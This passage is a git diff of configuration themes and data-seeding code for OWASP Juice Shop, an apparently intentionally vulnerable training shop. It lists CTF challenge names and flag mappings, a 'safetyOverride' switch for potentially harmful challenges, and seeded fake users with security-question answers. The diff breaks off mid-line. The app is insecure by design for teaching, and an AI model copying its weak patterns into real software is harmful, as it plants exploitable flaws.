+ - { text: "I'd stand on my head to make you a deal for this piece of art.", author: stan } + - { text: "Just when my opinion of humans couldn't get any lower, along comes Stan...", author: bender } + - + name: 'OWASP Juice Shop Card (non-foil)' + description: 'Mythic rare (obviously...) card "OWASP Juice Shop" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!' + price: 1000 + quantity: 3 + limitPerUser: 1 + image: card_alpha.jpg + reviews: + - { text: 'DO NOT PLAY WITH THIS! Double-sleeve, then put it in the GitHub Arctic Vault for perfect preservation and boost of secondary market value!', author: accountant } + - + name: '20th Anniversary Celebration Ticket' + description: 'Get your free 🎫 for OWASP 20th Anniversary Celebration online conference! Hear from world renowned keynotes and special speakers, network with your peers and interact with our event sponsors. With an anticipated 10k+ attendees from around the world, you will not want to miss this live on-line event!' + price: 0.00000000000000000001 + deletedDate: '2021-09-25' + limitPerUser: 1 + image: 20th.jpeg + reviews: + - { text: "I'll be there! Will you, too?", author: bjoernOwasp } +memories: + - + image: 'magn(et)ificent!-1571814229653.jpg' + caption: 'Magn(et)ificent!' + user: bjoernGoogle + - + image: 'my-rare-collectors-item!-[̲̅$̲̅(̲̅-͡°-͜ʖ-͡°̲̅)̲̅$̲̅]-1572603645543.jpg' + caption: 'My rare collectors item! [̲̅$̲̅(̲̅ ͡° ͜ʖ ͡°̲̅)̲̅$̲̅]' + user: bjoernGoogle + - + image: 'favorite-hiking-place.png' + caption: 'I love going hiking here...' + geoStalkingMetaSecurityQuestion: 14 + geoStalkingMetaSecurityAnswer: 'Daniel Boone National Forest' + - + image: 'IMG_4253.jpg' + caption: 'My old workplace...' + geoStalkingVisualSecurityQuestion: 10 + geoStalkingVisualSecurityAnswer: 'ITsec' ctf: showFlagsInNotifications: false showCountryDetailsInNotifications: none # Options: none name flag both diff --git a/config/fbctf.yml b/config/fbctf.yml index cf0b820d7d7..729190ab808 100644 --- a/config/fbctf.yml +++ b/config/fbctf.yml @@ -1,9 +1,16 @@ application: logo: JuiceShopCTF_Logo.png favicon: favicon_ctf.ico - showChallengeHints: false showVersionNumber: false - gitHubRibbon: false + showGitHubLinks: false + localBackupEnabled: false + welcomeBanner: + showOnFirstStart: false +challenges: + showHints: false + showFeedbackButtons: false +hackingInstructor: + isEnabled: false ctf: showFlagsInNotifications: true showCountryDetailsInNotifications: both @@ -32,10 +39,10 @@ ctf: reflectedXssChallenge: name: Uruguay code: UY - persistedXssChallengeUser: + persistedXssUserChallenge: name: Myanmar code: MM - persistedXssChallengeFeedback: + persistedXssFeedbackChallenge: name: Costa Rica code: CR restfulXssChallenge: @@ -53,7 +60,7 @@ ctf: forgedFeedbackChallenge: name: Korea (Democratic People's Republic of) code: KP - redirectGratipayChallenge: + redirectCryptoCurrencyChallenge: name: Korea code: KR redirectChallenge: @@ -77,7 +84,7 @@ ctf: adminSectionChallenge: name: Turkey code: TR - csrfChallenge: + changePasswordBenderChallenge: name: Suriname code: SR changeProductChallenge: @@ -125,9 +132,6 @@ ctf: oauthUserPasswordChallenge: name: South Sudan code: SS - loginCisoChallenge: - name: Angola - code: AO loginSupportChallenge: name: Croatia code: HR @@ -167,10 +171,10 @@ ctf: typosquattingAngularChallenge: name: Senegal code: SN - jwtTier1Challenge: + jwtUnsignedChallenge: name: New Zealand code: NZ - jwtTier2Challenge: + jwtForgedChallenge: name: Mongolia code: MN misplacedSignatureFileChallenge: @@ -227,6 +231,90 @@ ctf: loginAmyChallenge: name: Andorra code: AD + usernameXssChallenge: + name: Azerbaijan + code: AZ resetPasswordBjoernOwaspChallenge: name: Kazakhstan code: KZ + accessLogDisclosureChallenge: + name: Singapore + code: SG + dlpPasswordSprayingChallenge: + name: Chad + code: TD + dlpPastebinDataLeakChallenge: + name: Turkmenistan + code: TK + videoXssChallenge: + name: Pakistan + code: PK + twoFactorAuthUnsafeSecretStorageChallenge: + name: Sweden + code: SE + manipulateClockChallenge: + name: Vatican City + code: VC + privacyPolicyChallenge: + name: Cameroon + code: CM + privacyPolicyProofChallenge: + name: Namibia + code: NA + passwordRepeatChallenge: + name: Guyana + code: GY + dataExportChallenge: + name: Cambodia + code: CB + ghostLoginChallenge: + name: Taiwan + code: TW + dbSchemaChallenge: + name: Brunei + code: BN + ephemeralAccountantChallenge: + name: Denmark + code: DK + missingEncodingChallenge: + name: Armenia + code: AM + svgInjectionChallenge: + name: Tunisia + code: TN + exposedMetricsChallenge: + name: Japan + code: JP + freeDeluxeChallenge: + name: Vietnam + code: VN + csrfChallenge: + name: Luxembourg + code: LU + xssBonusChallenge: + name: Ethiopia + code: ET + resetPasswordUvoginChallenge: + name: Republic of South Africa + code: RSA + geoStalkingMetaChallenge: + name: Belgium + code: BE + geoStalkingVisualChallenge: + name: The Netherlands + code: NL + killChatbotChallenge: + name: Czechoslovakia + code: CSK + nullByteChallenge: + name: Burundi + code: BI + bullyChatbotChallenge: + name: Guam + code: GU + lfrChallenge: + name: Ireland + code: IE + closeNotificationsChallenge: + name: Zambia + code: ZM diff --git a/config/juicebox.yml b/config/juicebox.yml index 37fc6e140eb..6f9edfd01d0 100644 --- a/config/juicebox.yml +++ b/config/juicebox.yml @@ -1,3 +1,12 @@ application: domain: juice-b.ox name: 'OWASP Juice Box' + customMetricsPrefix: juicebox + welcomeBanner: + showOnFirstStart: false + chatBot: + name: 'Boxy' +challenges: + xssBonusPayload: '' +hackingInstructor: + avatarImage: juicyEvilWasp.png diff --git a/config/mozilla.yml b/config/mozilla.yml index 361c5e0f09c..86da18c693a 100644 --- a/config/mozilla.yml +++ b/config/mozilla.yml @@ -3,18 +3,27 @@ application: name: 'Mozilla CTF' logo: 'https://github.com/mozilla/ctf-austin/raw/master/app/public/images/MozillaCTF.png' favicon: 'https://github.com/mozilla/ctf-austin/raw/master/app/public/favicon_v2.ico' - showChallengeSolvedNotifications: true - showChallengeHints: false theme: deeporange-indigo - gitHubRibbon: true - twitterUrl: 'https://twitter.com/mozcloudsec' - facebookUrl: null - slackUrl: null - pressKitUrl: 'https://blog.mozilla.org/press/kits' - recyclePage: - topProductimage: Gear-200155340.jpg - bottomProductimage: Gear-200155753.jpg + showGitHubLinks: true + localBackupEnabled: false altcoinName: Mozquito + privacyContactEmail: 'donotreply@mozilla-ctf.op' + customMetricsPrefix: mozctf + chatBot: + name: 'Foxy' + avatar: 'https://upload.wikimedia.org/wikipedia/commons/9/9f/Fennec_Fox_Vulpes_zerda.jpg' + social: + twitterUrl: 'https://twitter.com/mozcloudsec' + facebookUrl: null + slackUrl: null + redditUrl: null + pressKitUrl: 'https://blog.mozilla.org/press/kits' + questionnaireUrl: null + recyclePage: + topProductImage: Gear-200155340.jpg + bottomProductImage: Gear-200155753.jpg + welcomeBanner: + showOnFirstStart: false cookieConsent: backgroundColor: '#e95420' textColor: '#ffffff' @@ -27,6 +36,13 @@ application: securityTxt: contact: 'mailto:donotreply@mozilla-ctf.op' encryption: ~ +challenges: + showHints: false + codingChallengesEnabled: never + xssBonusPayload: '' + showFeedbackButtons: false +hackingInstructor: + isEnabled: false products: - name: 'Champion Sweatshirt with a Drawstring Tote' @@ -118,6 +134,14 @@ products: - name: 'Mozilla Cap' price: 4.63 + - + name: 'Colour Contrast Analyser Firefox Extension' + description: 'The Colour Contrast Analyser Firefox extension lists colour combinations used in the document in a table that summarises the foreground colour, background colour, luminosity contrast ratio, and the colour difference and brightness difference used in the algorithm suggested in the 26th of April 2000 working draft for Accessibility Evaluation and Repair Tools (AERT). Each element is also listed with its parent elements, and class and id attribute values when specified to make it easier to locate the elements.
This extension has been removed because side-effects with other plugins.' + price: 0.99 + image: 'http://juicystudio.com/img/logo.gif' + keywordsForPastebinDataLeakChallenge: + - juicenote + - magische firefox suche - name: 'Fox Plush' price: 8.6 @@ -153,8 +177,10 @@ products: price: 99.99 image: 3d_keychain.jpg fileForRetrieveBlueprintChallenge: 'https://github.com/mozilla/ctf-austin/raw/master/app/public/images/products/3d_keychain.stl' + exifForBlueprintChallenge: + - ~ - - name: 'Global OWASP WASPY Award 2017 Nomnation' + name: 'Global OWASP WASPY Award 2017 Nomination' description: 'Your chance to nominate up to three quiet pillars of the OWASP community ends 2017-06-30! Nominate now!' price: 0.03 image: waspy.png diff --git a/config/oss.yml b/config/oss.yml new file mode 100644 index 00000000000..28d0f66de65 --- /dev/null +++ b/config/oss.yml @@ -0,0 +1,126 @@ +application: + name: 'OpenSecuritySummit Store' + logo: https://open-security-summit.org/img/logo.png + welcomeBanner: + showOnFirstStart: false + theme: blue-lightblue + cookieConsent: + backgroundColor: '#23527c' + textColor: '#ffffff' + message: 'We are not only using cookies but also recorded this session on YouTube!' + dismissText: "I've been there live, so thanks!" + linkText: 'I want to watch that!' + linkUrl: 'https://youtu.be/WtY712DdlR8?t=413' + chatBot: + name: 'Dinis' + avatar: 'https://pbs.twimg.com/profile_images/552850030105591808/x3i7zK5r_400x400.jpeg' + social: + twitterUrl: 'https://twitter.com/opensecsummit' + facebookUrl: ~ + slackUrl: 'https://join.slack.com/t/os-summit/shared_invite/zt-eptzb479-POZlYeYI1vaNNZzVatF2ag' + redditUrl: ~ + pressKitUrl: ~ + domain: oss2020-lockdo.wn + privacyContactEmail: donotreply@oss2020-lockdo.wn + favicon: https://open-security-summit.org/img/favicon.ico + altcoinName: OssyCoin + customMetricsPrefix: oss2020 + recyclePage: + topProductImage: planttreev1_280x420.jpg + bottomProductImage: undefined.png +challenges: + showSolvedNotifications: false + overwriteUrlForProductTamperingChallenge: 'https://www.juicesummit.org/' +hackingInstructor: + avatarImage: 'https://s3.amazonaws.com/heysummit-production/media/thumbnails/defaults/user_default_image_square_large.png' +products: + - + name: 'OSS2020 - Lockdown Edition Enamel Mug' + price: 13 + description: "Every happy camper needs a unique camper mug. It's lightweight, durable and multifunctional. Use it for your favorite beverage or a hot meal, and attach it to your bag for easy access on a hike." + image: 'https://cdn.shopify.com/s/files/1/0276/0474/6320/products/mockup-c4c074da_280x420.jpg?v=1590062996' + - + name: 'OSS2020 - Juice Shop Track Sticker' + price: 1.80 + description: "These stickers are printed on durable, high opacity adhesive vinyl which makes them perfect for regular use, as well as for covering other stickers or paint. The high-quality vinyl ensures there are no bubbles when applying the stickers." + image: 'https://cdn.shopify.com/s/files/1/0276/0474/6320/products/mockup-306c4dc0_280x420.jpg?v=1591012423' + reviews: + - { text: 'This is the juiciest decal for my space ship!', author: jim } + - + name: 'OSS2020 - Facemask / Headband / Bandana' + price: 14 + description: "This neck gaiter is a versatile accessory that can be used as a face covering, headband, bandana, wristband, and neck warmer. Upgrade your accessory game and find a matching face shield for each of your outfits." + image: 'https://cdn.shopify.com/s/files/1/0276/0474/6320/products/mockup-a2bdf6ac_280x420.jpg?v=1590055729' + - + name: 'OSS2020 - Aluminium Bottle' + price: 20 + image: 'https://cdn.shopify.com/s/files/1/0276/0474/6320/products/tyr-industries-White1591704017_280x420.png?v=1591704032' + - + name: 'Juice Summit 2021 Ticket' + price: 599 + description: 'SAVE THE DATE FOR THE 2021 EDITION OF THE SUMMIT, ON OCTOBER 7 & 8 AT THE SAME LOCATION – HILTON ANTWERP HOTEL 4* IN ANTWERP, BELGIUM.' + image: 'https://www.juicesummit.org/wp-content/themes/juicesummit/img/header-logo.png?V=2019' + reviews: + - { text: 'Juicy!!!', author: bjoern } + - + name: 'Dedicate a tree to the Open Security Summit' + price: 5.99 + description: 'Plant a tree for the Open Security Summit and reduce our carbon footprint!' + image: 'https://cdn.shopify.com/s/files/1/0276/0474/6320/products/planttreev1_280x420.jpg?v=1590537226' + reviews: + - { text: 'Humans are all puny tree huggers!', author: bender } + - + name: 'Open Security Summit 2020 Ticket' + description: 'Get your official ticket!' + price: 50 + image: https://2019.open-security-summit.org/img/blocks/ticket.png + urlForProductTamperingChallenge: 'https://open-security-summit-2020.heysummit.com/checkout/select-tickets/' + - + name: 'ASEAN CSA and OWASP Summit 2014 Ticket' + description: 'The ASEAN CSA and OWASP Summit 2014 will be the ASEAN industry’s event for IT security professionals and executives who must further educate themselves on the rapidly evolving subject of cloud security. In addition, to offer best practices and practical solutions for the security in clouds, ASEAN CSA and OWASP Summit will focus on emerging areas of growth and concern in cloud security, including research & development, standardization and policies. Stepping up from the security in cloud infrastructure, the summit will also discuss about security of “Anything as a Service (XaaS)” that are available in the real world. Additionally, for those who develop their own applications running on the cloud, application security experts will shares the key factors to make application secured.' + price: 399.99 + image: 'https://scontent-ham3-1.xx.fbcdn.net/v/t31.0-8/p960x960/16252385_1242375352521741_5387610698864437018_o.png?_nc_cat=102&_nc_sid=85a577&_nc_ohc=7VkZI-XvzkEAX_UDcOp&_nc_ht=scontent-ham3-1.xx&oh=b6e91cb5afbf2514ea123bde620a439c&oe=5F0B4065' + useForChristmasSpecialChallenge: true + - + name: 'Rippertuer Special Juice' + description: 'Contains a magical collection of the rarest fruits gathered from all around the world, like Cherymoya Annona cherimola, Jabuticaba Myrciaria cauliflora, Bael Aegle marmelos... and others, at an unbelievable price!
This item has been made unavailable because of lack of safety standards.' + price: 16.99 + image: undefined.jpg + keywordsForPastebinDataLeakChallenge: + - hueteroneel + - eurogium edule + - + name: 'OWASP Juice Shop Logo (3D-printed)' + description: 'This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.' + price: 99.99 + image: 3d_keychain.jpg # Exif metadata contains "OpenSCAD" as subtle hint... + fileForRetrieveBlueprintChallenge: JuiceShop.stl # ...to blueprint file type + exifForBlueprintChallenge: + - ~ +memories: + - + image: 'https://user-images.githubusercontent.com/15072044/41160171-c2619674-6b26-11e8-9c3e-848f6b2d9d0f.jpg' + caption: 'The table is long because of the community' + user: admin + - + image: 'https://user-images.githubusercontent.com/15072044/41163238-0ac8184e-6b30-11e8-9e84-25433de7accc.jpg' + caption: 'Into the zone!' + user: admin + - + image: 'https://user-images.githubusercontent.com/15072044/41160165-c1f285b8-6b26-11e8-848b-8b15c3c35f94.jpg' + caption: 'My burger will be like this!' + user: jannik + - + image: 'https://user-images.githubusercontent.com/15072044/41010154-be17a162-692d-11e8-84f8-3cb855ae473d.jpg' + caption: 'Security' + user: admin + - + image: 'favorite-hiking-place.png' + caption: 'I love going hiking here...' + geoStalkingMetaSecurityQuestion: 14 + geoStalkingMetaSecurityAnswer: 'Daniel Boone National Forest' + - + image: 'IMG_4253.jpg' + caption: 'My old workplace...' + geoStalkingVisualSecurityQuestion: 10 + geoStalkingVisualSecurityAnswer: 'ITsec' diff --git a/config/quiet.yml b/config/quiet.yml index 5628c1e2478..914273982fe 100644 --- a/config/quiet.yml +++ b/config/quiet.yml @@ -1,4 +1,12 @@ application: - showChallengeSolvedNotifications: false - showChallengeHints: false - gitHubRibbon: false + showGitHubLinks: false + social: + questionnaireUrl: null + welcomeBanner: + showOnFirstStart: false +challenges: + showSolvedNotifications: false + showHints: false + showFeedbackButtons: false +hackingInstructor: + isEnabled: false diff --git a/config/sickshop.yml b/config/sickshop.yml deleted file mode 100644 index 237f56d61ee..00000000000 --- a/config/sickshop.yml +++ /dev/null @@ -1,88 +0,0 @@ -application: - domain: sick-sh.op - name: Sick-Shop - logo: 'https://openclipart.org/image/300px/svg_to_png/250927/1465228117.png' - numberOfRandomFakeUsers: 50 - showChallengeSolvedNotifications: false - theme: deeppurple-amber - gitHubRibbon: true - twitterUrl: null - facebookUrl: null - slackUrl: null - pressKitUrl: null - recyclePage: - topProductImage: david-benjamin-Hammer.png - bottomProductImage: Headache.png - altcoinName: Illcoin - cookieConsent: - backgroundColor: '#106326' - textColor: '#ffffff' - buttonColor: '#ffffff' - buttonTextColor: '#000000' - message: 'This website uses medic...cookies to ensure you get the healthiest tracking experience.' - dismissText: 'Cough! Cough!' - linkText: 'But I don`t feel sick!' - linkUrl: 'http://www.cookinglight.com/food/recipe-finder/healthy-cookies' - securityTxt: - contact: 'mailto:donotreply@sick-sh.op' - encryption: ~ -products: - - - name: Cold - price: 10 - description: 'Small cold to stay in bed some days' - image: 'https://openclipart.org/image/300px/svg_to_png/100351/cold.png' - reviews: - - { text: 'One of my least favorite!', author: admin } - - - name: 'Bad cold' - price: 150 - description: 'Bad cold gives you everything you need to stay around a week in bed.' - image: 'https://openclipart.org/image/300px/svg_to_png/100351/cold.png' - - - name: 'Torn Meniscus' - price: 1150 - description: 'Don''t want to go every day to your office for the next month? Take a torn meniscus!' - image: Wooden-crutch.jpg - fileForRetrieveBlueprintChallenge: crutch.123dx - - - name: 'Little headache' - price: 15 - description: 'Feel like smoothly rubbing sandpaper on your brain.' - image: 'https://openclipart.org/image/300px/svg_to_png/273493/Headache.png' - urlForProductTamperingChallenge: 'https://en.wikipedia.org/wiki/Headache' - - - name: Headache - price: 15 - description: 'Feel like smashing a hammer in your brain.' - image: 'https://openclipart.org/image/300px/svg_to_png/4793/david-benjamin-Hammer.png' - - - name: 'Brain fog' - price: 150 - description: 'Expand your skills, forget what you are doing while you are actually doing it!' - image: 'https://openclipart.org/image/300px/svg_to_png/181757/elephantforget.png' - - - name: Diarrhea - price: 150 - description: 'Get rid of work with diarrhea' - image: 'https://openclipart.org/image/300px/svg_to_png/172910/intestinal-party.png' - reviews: - - { text: 'Those puny humans are so embarrassing...', author: bender } - - - name: Fiber - price: 20 - description: 'Fiber at your door step' - image: 'https://openclipart.org/image/300px/svg_to_png/46393/THERMO01.png' - - - name: Sunburn - price: 150 - description: 'Feel like on holiday' - image: 'https://openclipart.org/image/300px/svg_to_png/195913/sunburn-woman.png' - reviews: - - { text: 'This is what you get from taking off your shirt all the time!', author: jim } - - - name: 'Heart attack' - price: 5000 - description: 'Have a lightning in your heart' - image: 'https://openclipart.org/image/300px/svg_to_png/154747/herzinfarkt.png' - useForChristmasSpecialChallenge: true diff --git a/config/tutorial.yml b/config/tutorial.yml new file mode 100644 index 00000000000..3fecc256c84 --- /dev/null +++ b/config/tutorial.yml @@ -0,0 +1,2 @@ +challenges: + restrictToTutorialsFirst: true diff --git a/config/unsafe.yml b/config/unsafe.yml new file mode 100644 index 00000000000..98c114d7de2 --- /dev/null +++ b/config/unsafe.yml @@ -0,0 +1,2 @@ +challenges: + safetyOverride: true diff --git a/crowdin.yaml b/crowdin.yaml index 33d04f80aeb..5d0eb8d7869 100644 --- a/crowdin.yaml +++ b/crowdin.yaml @@ -1,4 +1,8 @@ +commit_message: |- + [ci skip] + Signed-off-by: Björn Kimminich files: - - - source: /frontend/src/assets/i18n/en.json + - source: /frontend/src/assets/i18n/en.json translation: /frontend/src/assets/i18n/%locale_with_underscore%.json + - source: /data/static/i18n/en.json + translation: /data/static/i18n/%locale_with_underscore%.json diff --git a/cypress.json b/cypress.json new file mode 100644 index 00000000000..04101101250 --- /dev/null +++ b/cypress.json @@ -0,0 +1,13 @@ +{ + "projectId": "3hrkhu", + "baseUrl": "http://localhost:3000", + "defaultCommandTimeout": 10000, + "env": { + "baseUrl": "http://localhost:3000" + }, + "downloadsFolder": "test/cypress/downloads", + "fixturesFolder": "test/cypress/fixtures", + "integrationFolder": "test/cypress/integration", + "pluginsFile": "test/cypress/plugins/index.ts", + "supportFile": "test/cypress/support/index.ts" +} \ No newline at end of file diff --git a/data/chatbot/.gitkeep b/data/chatbot/.gitkeep new file mode 100644 index 00000000000..e69de29bb2d diff --git a/data/datacache.js b/data/datacache.ts similarity index 63% rename from data/datacache.js rename to data/datacache.ts index d0d177fda51..2786a63fc8d 100644 --- a/data/datacache.js +++ b/data/datacache.ts @@ -1,3 +1,8 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + /* jslint node: true */ exports.challenges = {} exports.users = {} diff --git a/data/datacreator.js b/data/datacreator.js deleted file mode 100644 index ad87cfdb9e6..00000000000 --- a/data/datacreator.js +++ /dev/null @@ -1,454 +0,0 @@ -/* jslint node: true */ -const models = require('../models/index') -const datacache = require('./datacache') -const config = require('config') -const utils = require('../lib/utils') -const mongodb = require('./mongodb') -const insecurity = require('../lib/insecurity') - -const fs = require('fs') -const path = require('path') -const util = require('util') -const { safeLoad } = require('js-yaml') - -const readFile = util.promisify(fs.readFile) - -function loadStaticData (file) { - const filePath = path.resolve('./data/static/' + file + '.yml') - return readFile(filePath, 'utf8') - .then(safeLoad) - .catch(() => console.error('Could not open file: "' + filePath + '"')) -} - -module.exports = async () => { - const creators = [ - createUsers, - createChallenges, - createRandomFakeUsers, - createProducts, - createBaskets, - createBasketItems, - createFeedback, - createComplaints, - createRecycles, - createSecurityQuestions, - createSecurityAnswers, - createOrders - ] - - for (const creator of creators) { - await creator() - } -} - -async function createChallenges () { - const showHints = config.get('application.showChallengeHints') - - const challenges = await loadStaticData('challenges') - - await Promise.all( - challenges.map(async ({ name, category, description, difficulty, hint, hintUrl, key, disabledEnv }) => { - let effectiveDisabledEnv = utils.determineDisabledContainerEnv(disabledEnv) - try { - const challenge = await models.Challenge.create({ - key, - name, - category, - description: effectiveDisabledEnv ? (description + ' (This challenge is ' + (config.get('challenges.safetyOverride') ? 'potentially harmful' : 'not available') + ' on ' + effectiveDisabledEnv + '!)') : description, - difficulty, - solved: false, - hint: showHints ? hint : null, - hintUrl: showHints ? hintUrl : null, - disabledEnv: config.get('challenges.safetyOverride') ? null : effectiveDisabledEnv - }) - datacache.challenges[key] = challenge - } catch (err) { - console.error(`Could not insert Challenge ${name}`) - console.error(err) - } - }) - ) -} - -async function createUsers () { - const users = await loadStaticData('users') - - await Promise.all( - users.map(async ({ email, password, customDomain, key, isAdmin, profileImage }) => { - try { - const completeEmail = customDomain ? email : `${email}@${config.get('application.domain')}` - const user = await models.User.create({ - email: completeEmail, - password, - isAdmin, - profileImage: profileImage || 'default.svg' - }) - datacache.users[key] = user - } catch (err) { - console.error(`Could not insert User ${name}`) - console.error(err) - } - }) - ) -} - -function createRandomFakeUsers () { - function getGeneratedRandomFakeUserEmail () { - const randomDomain = makeRandomString(4).toLowerCase() + '.' + makeRandomString(2).toLowerCase() - return makeRandomString(5).toLowerCase() + '@' + randomDomain - } - - function makeRandomString (length) { - let text = '' - const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' - - for (let i = 0; i < length; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)) } - - return text - } - - return Promise.all(new Array(config.get('application.numberOfRandomFakeUsers')).fill(0).map( - () => models.User.create({ - email: getGeneratedRandomFakeUserEmail(), - password: makeRandomString(5) - }) - )) -} - -function createProducts () { - const products = config.get('products').map((product) => { - // set default price values - product.price = product.price || Math.floor(Math.random()) - product.description = product.description || 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.' - - // set default image values - product.image = product.image || 'undefined.png' - if (utils.startsWith(product.image, 'http')) { - const imageUrl = product.image - product.image = decodeURIComponent(product.image.substring(product.image.lastIndexOf('/') + 1)) - // utils.downloadToFile(imageUrl, 'app/public/images/products/' + product.image) - utils.downloadToFile(imageUrl, 'frontend/dist/frontend/assets/public/images/products/' + product.image) - } - - // set deleted at values if configured - if (product.deletedDate) { - product.deletedAt = product.deletedDate - delete product.deletedDate - } - - return product - }) - - // add Challenge specific information - const chrismasChallengeProduct = products.find(({ useForChristmasSpecialChallenge }) => useForChristmasSpecialChallenge) - const tamperingChallengeProduct = products.find(({ urlForProductTamperingChallenge }) => urlForProductTamperingChallenge) - const blueprintRetrivalChallengeProduct = products.find(({ fileForRetrieveBlueprintChallenge }) => fileForRetrieveBlueprintChallenge) - - chrismasChallengeProduct.description += ' (Seasonal special offer! Limited availability!)' - chrismasChallengeProduct.deletedAt = '2014-12-27 00:00:00.000 +00:00' - tamperingChallengeProduct.description += ' More...' - tamperingChallengeProduct.deletedAt = null - - let blueprint = blueprintRetrivalChallengeProduct.fileForRetrieveBlueprintChallenge - if (utils.startsWith(blueprint, 'http')) { - const blueprintUrl = blueprint - blueprint = decodeURIComponent(blueprint.substring(blueprint.lastIndexOf('/') + 1)) - utils.downloadToFile(blueprintUrl, 'frontend/dist/frontend/assets/public/images/products/' + blueprint) - } - datacache.retrieveBlueprintChallengeFile = blueprint - - return Promise.all( - products.map( - ({ reviews = [], useForChristmasSpecialChallenge = false, urlForProductTamperingChallenge = false, ...product }) => - models.Product.create(product).catch( - (err) => { - console.error(`Could not insert Product ${product.name}`) - console.error(err) - } - ).then((persistedProduct) => { - if (useForChristmasSpecialChallenge) { datacache.products.christmasSpecial = persistedProduct } - if (urlForProductTamperingChallenge) { datacache.products.osaft = persistedProduct } - return persistedProduct - }) - .then(({ id }) => - Promise.all( - reviews.map(({ text, author }) => - mongodb.reviews.insert({ - message: text, - author: `${author}@${config.get('application.domain')}`, - product: id, - likesCount: 0, - likedBy: [] - }).catch((err) => { - console.error(`Could not insert Product Review ${text}`) - console.error(err) - }) - ) - ) - ) - ) - ) -} - -function createBaskets () { - const baskets = [ - { UserId: 1 }, - { UserId: 2 }, - { UserId: 3 } - ] - - return Promise.all( - baskets.map(basket => { - models.Basket.create(basket).catch((err) => { - console.error(`Could not insert Basket for UserId ${basket.UserId}`) - console.error(err) - }) - }) - ) -} - -function createBasketItems () { - const basketItems = [ - { - BasketId: 1, - ProductId: 1, - quantity: 2 - }, - { - BasketId: 1, - ProductId: 2, - quantity: 3 - }, - { - BasketId: 1, - ProductId: 3, - quantity: 1 - }, - { - BasketId: 2, - ProductId: 4, - quantity: 2 - }, - { - BasketId: 3, - ProductId: 5, - quantity: 1 - } - ] - - return Promise.all( - basketItems.map(basketItem => { - models.BasketItem.create(basketItem).catch((err) => { - console.error(`Could not insert BasketItem for BasketId ${basketItem.BasketId}`) - console.error(err) - }) - }) - ) -} - -function createFeedback () { - const feedbacks = [ - { - UserId: 1, - comment: 'I love this shop! Best products in town! Highly recommended!', - rating: 5 - }, - { - UserId: 2, - comment: 'Great shop! Awesome service!', - rating: 4 - }, - { - comment: 'Incompetent customer support! Can\'t even upload photo of broken purchase!
Support Team: Sorry, only order confirmation PDFs can be attached to complaints!', - rating: 2 - }, - { - comment: 'This is the store for awesome stuff of all kinds!', - rating: 4 - }, - { - comment: 'Never gonna buy anywhere else from now on! Thanks for the great service!', - rating: 4 - }, - { - comment: 'Keep up the good work!', - rating: 3 - }, - { - UserId: 3, - comment: 'Nothing useful available here!', - rating: 1 - } - ] - - return Promise.all( - feedbacks.map((feedback) => models.Feedback.create(feedback).catch((err) => { - console.error(`Could not insert Feedback ${feedback.comment}`) - console.error(err) - })) - ) -} - -function createComplaints () { - return models.Complaint.create({ - UserId: 3, - message: 'I\'ll build my own eCommerce business! With Black Jack! And Hookers!' - }).catch((err) => { - console.error(`Could not insert Complaint`) - console.error(err) - }) -} - -function createRecycles () { - return models.Recycle.create({ - UserId: 2, - quantity: 800, - address: 'Starfleet HQ, 24-593 Federation Drive, San Francisco, CA', - date: '2270-01-17', - isPickup: true - }).catch((err) => { - console.error(`Could not insert Recycling Model`) - console.error(err) - }) -} - -function createSecurityQuestions () { - const questions = [ - 'Your eldest siblings middle name?', - 'Mother\'s maiden name?', - 'Mother\'s birth date? (MM/DD/YY)', - 'Father\'s birth date? (MM/DD/YY)', - 'Maternal grandmother\'s first name?', - 'Paternal grandmother\'s first name?', - 'Name of your favorite pet?', - 'Last name of dentist when you were a teenager? (Do not include \'Dr.\')', - 'Your ZIP/postal code when you were a teenager?', - 'Company you first work for as an adult?' - ] - - return Promise.all( - questions.map((question) => models.SecurityQuestion.create({ question }).catch((err) => { - console.error(`Could not insert SecurityQuestion ${question}`) - console.error(err) - })) - ) -} - -function createSecurityAnswers () { - const answers = [{ - SecurityQuestionId: 2, - UserId: 1, - answer: '@xI98PxDO+06!' - }, { - SecurityQuestionId: 1, - UserId: 2, - answer: 'Samuel' // https://en.wikipedia.org/wiki/James_T._Kirk - }, { - SecurityQuestionId: 10, - UserId: 3, - answer: 'Stop\'n\'Drop' // http://futurama.wikia.com/wiki/Suicide_booth - }, { - SecurityQuestionId: 7, - UserId: 5, - answer: 'Brd?j8sEMziOvvBf§Be?jFZ77H?hgm' - }, { - SecurityQuestionId: 10, - UserId: 6, - answer: 'SC OLEA SRL' // http://www.olea.com.ro/ - }, { - SecurityQuestionId: 7, - UserId: 7, - answer: '5N0wb41L' // http://rickandmorty.wikia.com/wiki/Snuffles - }, { - SecurityQuestionId: 1, - UserId: 8, - answer: 'I even shared my pizza bagels with you!' - }, { - SecurityQuestionId: 1, - UserId: 9, - answer: 'azjTLprq2im6p86RbFrA41L' - }, { - SecurityQuestionId: 1, - UserId: 10, - answer: 'NZMJLjEinU7TFElDIYW8' - }, { - SecurityQuestionId: 8, - UserId: 11, - answer: 'Dr. Dr. Dr. Dr. Zoidberg' - }, { - SecurityQuestionId: 9, - UserId: 12, - answer: 'West-2082' // http://www.alte-postleitzahlen.de/uetersen - }, { - SecurityQuestionId: 7, - UserId: 13, - answer: 'Zaya' - }] - - return Promise.all( - answers.map(answer => models.SecurityAnswer.create(answer).catch(err => { - console.error(`Could not insert SecurityAnswer for UserId ${answer.UserId}`) - console.error(err) - })) - ) -} - -function createOrders () { - const email = 'admin@' + config.get('application.domain') - const products = config.get('products') - const basket1Products = [ - { - quantity: 3, - name: products[0].name, - price: products[0].price, - total: products[0].price * 3 - }, - { - quantity: 1, - name: products[1].name, - price: products[1].price, - total: products[1].price * 1 - } - ] - - const basket2Products = [ - { - quantity: 3, - name: products[2].name, - price: products[2].price, - total: products[2].price * 3 - } - ] - - const orders = [ - { - orderId: insecurity.hash(email).slice(0, 4) + '-' + utils.randomHexString(16), - email: (email ? email.replace(/[aeiou]/gi, '*') : undefined), - totalPrice: basket1Products[0].total + basket1Products[1].total, - products: basket1Products, - eta: Math.floor((Math.random() * 5) + 1).toString() - }, - { - orderId: insecurity.hash(email).slice(0, 4) + '-' + utils.randomHexString(16), - email: (email ? 